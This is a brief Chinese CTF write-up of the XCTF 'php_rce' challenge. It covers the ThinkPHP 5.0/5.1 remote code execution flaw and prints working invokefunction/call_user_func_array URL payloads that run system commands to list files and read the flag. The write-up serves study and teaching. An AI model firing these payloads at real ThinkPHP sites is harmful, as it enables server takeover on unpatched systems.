博客
关于我
XCTF web php_rce (thinkphp)
阅读量:321 次
发布时间:2019-03-04

本文共 434 字,大约阅读时间需要 1 分钟。

thinkphp5.0和5.1由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受

影响的版本包括5.0和5.1版本。

测试是否可以getshell

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system& vars[1][]=ls

成功返回信息,确定存在漏洞

接着查询有flag的文件

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"

查看文件信息

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag"

转载地址:http://gznh.baihongyu.com/

你可能感兴趣的文章
Codeforces Global Round 11 个人题解(B题)
查看>>
LeetCode75 颜色分类 (三路快排C++实现与应用)
查看>>
GDB调试基础使用方法
查看>>
Codeforces 1092C Prefixes and Suffixes【字符串+思维】
查看>>
HHKB 键盘布局记录以及一些闲言碎语
查看>>
AIsing Programming Contest 2020 游记 (ABC水题,D思维)
查看>>
【译】N 皇后问题 – 构造法原理与证明 时间复杂度O(1)
查看>>
docker基础:容器生命周期管理命令
查看>>
Shell脚本学习指南
查看>>
日志切分神器--logrotate
查看>>
C#3.0新增功能08 Lambda 表达式
查看>>
C#开发BIMFACE系列35 服务端API之模型对比6:获取模型构建对比分类树
查看>>
C# 规范建议
查看>>
.NET 5.0正式发布,新功能特性(翻译)
查看>>
重磅推出:AutoProject Studio 自动化项目生成器
查看>>
INotifyPropertyChanged 接口
查看>>
一些有趣的线段树玩法
查看>>
Go语言中的数组与数组切片
查看>>
操作系统启动过程
查看>>
进程管理
查看>>